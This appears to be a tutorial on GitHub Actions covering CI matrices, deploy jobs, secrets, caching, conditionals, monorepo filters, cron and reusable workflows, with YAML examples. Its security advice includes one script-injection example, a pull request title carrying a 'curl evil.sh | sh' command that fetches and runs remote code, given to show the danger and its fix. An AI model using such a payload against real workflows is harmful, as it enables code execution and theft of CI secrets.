GitHub Actions Workflows: CI on Every Push, Deploy Jobs, Secrets, Caching and Monorepo Filters
Key takeaways
GitHub Actions brings CI/CD directly into your GitHub repository — no external servers, no complex setup. This guide walks you through workflows, testing, deployment, caching, and Secrets with real examples.
What is GitHub Actions?
GitHub Actions is GitHub’s built-in CI/CD and automation platform. You describe what should happen in a YAML file, and GitHub runs it automatically when events occur — on push, pull request, schedule, or manual trigger.
Developer pushes code
→ GitHub detects the push
→ Workflow triggers automatically
→ Jobs run in parallel on GitHub's cloud
→ Tests pass → auto-deploy to production
Key advantages over alternatives:
- Zero infrastructure — GitHub manages the runners
- Free for public repos — unlimited minutes
- Marketplace — thousands of ready-made Actions
- Native GitHub integration — status checks, PR comments, deployments
Core Concepts
| Term | What it is |
|---|---|
| Workflow | A YAML file in .github/workflows/ that defines automation |
| Event | What triggers the workflow (push, pull_request, schedule, etc.) |
| Job | A set of steps that run on the same runner |
| Step | A single command or Action within a job |
| Action | A reusable unit of work (from Marketplace or your own repo) |
| Runner | The VM that executes jobs (ubuntu-latest, macos-latest, windows-latest) |
The boundary that matters most is between jobs and steps. Steps in one job run sequentially on the same machine and share its file system, so a step can build files that the next step uses. Different jobs run on different, fresh virtual machines by default: nothing on disk carries over, which is why later sections pass data with artifacts and why every job begins with actions/checkout. Jobs also run in parallel unless you connect them with needs. Each GitHub-hosted job starts from a clean image and is discarded afterwards, which is great for reproducibility and the reason caching exists at all.
Your First Workflow
Create .github/workflows/hello.yml:
name: Hello World
on:
push:
branches: [main]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- name: Say hello
run: echo "Hello, GitHub Actions!"
- name: Show environment
run: |
echo "Branch: ${{ github.ref_name }}"
echo "Commit: ${{ github.sha }}"
echo "Actor: ${{ github.actor }}"
Push this file and watch it run under the Actions tab in your repository.
The ${{ ... }} expressions are evaluated by GitHub before the shell sees the script, and the result is pasted into the command text. That is harmless for github.sha, but it becomes a script-injection hole when the value is attacker-controlled: run: echo "${{ github.event.pull_request.title }}" lets anyone who opens a PR with a title like "; curl evil.sh | sh; " run commands in your workflow. Pass untrusted values through an environment variable instead (env: TITLE: ${{ github.event.pull_request.title }} and run: echo "$TITLE"), so the shell treats them as data.
CI Workflow — Test on Every Push
This workflow runs tests on two Node.js LTS versions in parallel using a matrix strategy:
# .github/workflows/ci.yml
name: CI
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
node-version: [22, 24]
steps:
- uses: actions/checkout@v4
- name: Setup Node.js ${{ matrix.node-version }}
uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
cache: 'npm'
- name: Install dependencies
run: npm ci
- name: Run linter
run: npm run lint
- name: Run tests
run: npm test
- name: Build
run: npm run build
The matrix creates two parallel jobs — one for each Node version. Both must pass for the workflow to succeed. Keep the versions in step with Node’s release schedule; versions that have reached end-of-life (18 in 2025, 20 in 2026) no longer receive security fixes and are not worth testing against for new code.
Several details here are deliberate. npm ci rather than npm install installs exactly what package-lock.json specifies and fails if it is out of sync with package.json, so CI tests the dependency tree you committed rather than whatever resolved today. Triggering on both push to main and pull_request means PRs are tested before merge and main is tested after, which catches the case where two individually green PRs conflict once combined. By default a matrix uses fail-fast: true, cancelling the other versions as soon as one fails — convenient for speed, confusing when you want to know whether a failure is version-specific; set fail-fast: false in that case.
Two additions pay off quickly in real repositories. A concurrency block (group: ci-${{ github.ref }} with cancel-in-progress: true) cancels outdated runs when someone pushes several commits to the same PR in a row. And a top-level permissions: contents: read restricts the automatically provided GITHUB_TOKEN to read-only for jobs that do not need more, which limits the damage if a compromised dependency runs during npm ci.
Deployment Workflows
Deploy to Vercel
# .github/workflows/deploy-vercel.yml
name: Deploy to Vercel
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install Vercel CLI
run: npm install -g vercel
- name: Deploy to Vercel
run: vercel --prod --token=${{ secrets.VERCEL_TOKEN }}
env:
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
This workflow deploys every push to main whether or not tests passed, because it is a separate workflow file and knows nothing about the CI run. Either put the deploy job in the same workflow with needs: [test], or trigger it with workflow_run on the CI workflow’s completion and check github.event.workflow_run.conclusion == 'success'. Note also that if the Vercel project is connected to the repository through Vercel’s Git integration, it already deploys on push; running this workflow as well produces two deployments per commit. Passing the token as a --token= argument works, but it is safer to expose it as an environment variable (VERCEL_TOKEN), since command-line arguments are visible to other processes on the runner.
Build and Push Docker Image
# .github/workflows/docker.yml
name: Build and Push Docker Image
on:
push:
branches: [main]
tags: ['v*']
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Docker Buildx # required for the gha cache backend
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_PASSWORD }}
- name: Extract metadata
id: meta
uses: docker/metadata-action@v5
with:
images: myuser/myapp
tags: |
type=ref,event=branch
type=semver,pattern={{version}}
- name: Build and push
uses: docker/build-push-action@v5
with:
context: .
push: true
tags: ${{ steps.meta.outputs.tags }}
cache-from: type=gha
cache-to: type=gha,mode=max
The metadata-action step turns the Git context into image tags: a push to main produces myuser/myapp:main, and pushing the tag v1.4.2 produces myuser/myapp:1.4.2. That keeps tags meaningful without hand-written logic. The type=gha cache stores Docker layer cache in GitHub’s Actions cache so unchanged layers are not rebuilt; it needs the Buildx builder created by setup-buildx-action — without that step, the default docker driver fails with Cache export is not supported for the docker driver. The Actions cache has a per-repository size limit (10 GB by default) and evicts old entries, so very large images with mode=max can churn it. For registry credentials, use a Docker Hub access token rather than your account password, and for multi-architecture images add docker/setup-qemu-action plus platforms: linux/amd64,linux/arm64.
Secrets Management
Store sensitive values in GitHub → Settings → Secrets and variables → Actions. Never hardcode them in YAML.
steps:
- name: Deploy
run: ./deploy.sh
env:
API_KEY: ${{ secrets.API_KEY }}
DATABASE_URL: ${{ secrets.DATABASE_URL }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
Environment secrets — scoped to specific deployment environments (staging, production):
jobs:
deploy-production:
runs-on: ubuntu-latest
environment: production # Uses secrets from "production" environment
steps:
- name: Deploy
run: ./deploy.sh
env:
API_KEY: ${{ secrets.API_KEY }} # From the "production" environment
Masking is a last line of defense, not a guarantee. GitHub replaces exact secret values in logs with ***, but a secret that is transformed — base64-encoded, split, or printed as part of a JSON structure with escaping — is not recognized. Secrets are also available to any step in a job that references them, including third-party actions, which is why pinning actions matters (see below). Secrets are not passed to workflows triggered by pull_request from forks, which protects public repositories; the trigger to be careful with is pull_request_target, which runs in the context of the base repository with secrets, and must never check out and execute code from the pull request.
Environments add two things beyond scoping: protection rules (required reviewers, wait timers, and restricting which branches may deploy), and a deployment history in the repository UI. For cloud credentials, the better pattern than storing long-lived keys like AWS_SECRET_ACCESS_KEY is OpenID Connect: grant the job permissions: id-token: write, configure a trust relationship in the cloud provider for your repository and branch, and use aws-actions/configure-aws-credentials (or the Azure/GCP equivalents) to obtain short-lived credentials per run. There is then no secret to leak or rotate.
Conditional Execution
Use if to control when jobs or steps run:
jobs:
deploy:
runs-on: ubuntu-latest
# Only deploy on pushes to main (not PRs)
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
steps:
- name: Deploy
run: ./deploy.sh
notify-failure:
runs-on: ubuntu-latest
needs: [test, deploy]
# Run this job only if any previous job failed
if: failure()
steps:
- name: Send Slack notification
run: ./notify-failure.sh
env:
SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}
Common if conditions:
| Condition | When it runs |
|---|---|
github.ref == 'refs/heads/main' | Only on main branch |
github.event_name == 'pull_request' | Only on PRs |
success() | Previous steps succeeded (default) |
failure() | Any previous step failed |
always() | Regardless of previous steps |
contains(github.event.pull_request.labels.*.name, 'deploy') | PR has ‘deploy’ label |
Status functions change how needs behaves, and this is where many workflows surprise their authors. A job with needs normally runs only if all its dependencies succeeded; any if: expression that does not contain a status function is implicitly combined with success(). That is why notify-failure must say failure() explicitly — without it, the job is skipped exactly when you want it. The reverse trap: a job whose dependency was skipped (for example deploy on a PR, because of its if) is also skipped by default, so a downstream job that should run anyway needs if: always() or !cancelled() plus its own conditions. Prefer !cancelled() over always() for cleanup jobs, so that manually cancelling a run actually stops it.
Caching Dependencies
Cache node_modules or pip packages to dramatically speed up workflows:
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: 'npm' # Caches ~/.npm keyed on package-lock.json (not node_modules)
- run: npm ci
For custom paths:
steps:
- uses: actions/cache@v4
with:
path: |
~/.npm
.next/cache
key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-nextjs-
The key includes a hash of package-lock.json — the cache is invalidated automatically when dependencies change.
restore-keys is the fallback: when no cache matches the exact key, the most recent entry whose key starts with one of these prefixes is restored, so a dependency change still starts from a mostly warm cache. On an exact hit, however, the cache is not saved again at the end of the job, because entries are immutable. That detail explains a common confusion with .next/cache: its contents change on every build, but with a key that depends only on the lockfile, the cache is saved once and then never updated. For build caches, add something that changes per build to the key (for example a hash of the source files) and rely on restore-keys for partial matches.
Caches are also scoped by branch: a workflow can restore caches created on its own branch and on the default branch, but not from sibling feature branches. If PR builds never seem to get cache hits, make sure a workflow on main populates the cache first.
Useful Marketplace Actions
steps:
# Checkout your code
- uses: actions/checkout@v4
# Set up language runtimes
- uses: actions/setup-node@v4
with:
node-version: 20
- uses: actions/setup-python@v5
with:
python-version: '3.12'
# Upload build artifacts (accessible in the Actions UI)
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
retention-days: 7
# Download artifacts in a later job
- uses: actions/download-artifact@v4
with:
name: build-output
# Send a Slack notification
- uses: slackapi/slack-github-action@v1
with:
payload: '{"text": "Deployment successful! :rocket:"}'
env:
SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK }}
Artifacts are the supported way to move files between jobs, since each job runs on its own machine. With upload-artifact@v4, artifact names must be unique within a run, so a matrix job uploading build-output from every combination fails with a conflict error — include the matrix value in the name. The Slack example uses the v1 interface; v2 of slackapi/slack-github-action changed its inputs (a webhook and webhook-type instead of the environment variable), so match the syntax to the version you pin.
Every uses: line runs someone else’s code with access to your workflow’s secrets and token, so treat actions like dependencies. Tags such as @v4 are mutable: if a maintainer’s account is compromised, the tag can be moved to malicious code, which has happened to popular third-party actions. For anything outside GitHub’s own actions/* organization, pin to a full commit SHA (uses: dorny/paths-filter@<40-character-sha> # v3) and let Dependabot propose updates.
Monorepo CI — Run Jobs Only for Changed Packages
When only apps/web changes, skip the api tests and vice versa:
# .github/workflows/monorepo-ci.yml
name: Monorepo CI
on: [push, pull_request]
jobs:
# Detect which packages changed
changes:
runs-on: ubuntu-latest
outputs:
web: ${{ steps.filter.outputs.web }}
api: ${{ steps.filter.outputs.api }}
steps:
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: filter
with:
filters: |
web:
- 'apps/web/**'
api:
- 'apps/api/**'
test-web:
needs: changes
if: needs.changes.outputs.web == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm test --workspace=apps/web
test-api:
needs: changes
if: needs.changes.outputs.api == 'true'
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm test --workspace=apps/api
Why a separate changes job instead of the built-in on.push.paths filter? Workflow-level path filters decide whether the whole workflow runs. If a workflow’s check is marked as required in branch protection and a PR changes no matching files, the workflow never starts, and the PR waits forever with “Expected — Waiting for status to be reported”. With job-level filtering, the workflow always runs and the skipped jobs report as skipped, which satisfies required checks. The trade-off is one small extra job per run.
Keep shared code in mind when writing filters: if apps/web imports from packages/ui, a change to packages/ui must trigger the web tests too, so the filter needs 'packages/ui/**' as well. Monorepo tools such as Turborepo or Nx can compute affected packages from the dependency graph instead of hand-maintained patterns.
Scheduled Workflows (Cron)
Run workflows on a schedule — useful for nightly builds, database backups, or report generation:
on:
schedule:
- cron: '0 2 * * *' # Every day at 2:00 AM UTC
workflow_dispatch: # Also allow manual trigger
Cron format:
┌─ minute (0-59)
│ ┌─ hour (0-23)
│ │ ┌─ day of month (1-31)
│ │ │ ┌─ month (1-12)
│ │ │ │ ┌─ day of week (0-6, 0=Sunday)
│ │ │ │ │
0 2 * * *
Scheduled workflows have a few behaviors that are easy to discover the hard way. They always run on the latest commit of the default branch, so a schedule defined only on a feature branch never fires. Start times are not exact — during periods of high load, scheduled runs can be delayed, and the top of the hour is the busiest time, so an odd minute like 17 2 * * * tends to start closer to schedule. In public repositories, scheduled workflows are automatically disabled after 60 days without repository activity, which is a common reason a nightly job “silently stopped”. Times are always UTC. Adding workflow_dispatch, as here, lets you run the job manually to test it without waiting for the schedule.
Reusable Workflows
Define a workflow once and call it from multiple repositories:
# .github/workflows/reusable-deploy.yml
on:
workflow_call:
inputs:
environment:
required: true
type: string
secrets:
deploy-token:
required: true
jobs:
deploy:
runs-on: ubuntu-latest
environment: ${{ inputs.environment }}
steps:
- uses: actions/checkout@v4
- name: Deploy
run: ./deploy.sh ${{ inputs.environment }}
env:
TOKEN: ${{ secrets.deploy-token }}
Call it from another workflow:
jobs:
deploy-staging:
uses: myorg/shared-workflows/.github/workflows/reusable-deploy.yml@main
with:
environment: staging
secrets:
deploy-token: ${{ secrets.STAGING_TOKEN }}
A reusable workflow is called at the job level (uses: instead of runs-on:), and it does not see the caller’s secrets unless they are passed explicitly as above or with secrets: inherit within the same organization. Calling it with @main means every caller picks up changes immediately, which is convenient and risky in equal measure; pin to a tag or SHA for workflows that deploy to production. For sharing a sequence of steps rather than whole jobs, a composite action (an action.yml with runs: using: composite) is the lighter-weight alternative.
Essential Workflow Patterns
| Pattern | Use case |
|---|---|
on: push + pull_request | Run tests on every change |
if: github.ref == 'refs/heads/main' | Deploy only from main |
needs: [test] | Require tests to pass before deploy |
strategy.matrix | Test across multiple versions in parallel |
environment: production | Gate deployments with required approvals |
workflow_dispatch | Manual trigger with optional inputs |
cache: 'npm' | Speed up builds with dependency caching |
upload-artifact | Pass build output between jobs |
When a workflow misbehaves
When a workflow misbehaves, the fastest tools are the run’s raw logs, re-running a job with debug logging enabled (the “Enable debug logging” option, or the ACTIONS_STEP_DEBUG secret set to true), and a temporary step that prints ${{ toJSON(github) }} to see exactly what the event payload contains — most if: conditions that “should” match fail because the event field is not what the author assumed.
Related Articles
Frequently Asked Questions (FAQ)
Q. Does cache: ‘npm’ in actions/setup-node cache node_modules?
A. No. It caches npm’s global download cache (~/.npm), keyed on the hash of your lockfile, not the node_modules folder itself. npm ci still runs on every job and deletes any existing node_modules before installing, but it pulls packages from the restored cache instead of the network, which is where the time saving comes from. If you need to skip installation entirely, cache node_modules explicitly with actions/cache and a lockfile-based key, and accept that it can break when the Node.js version or OS changes.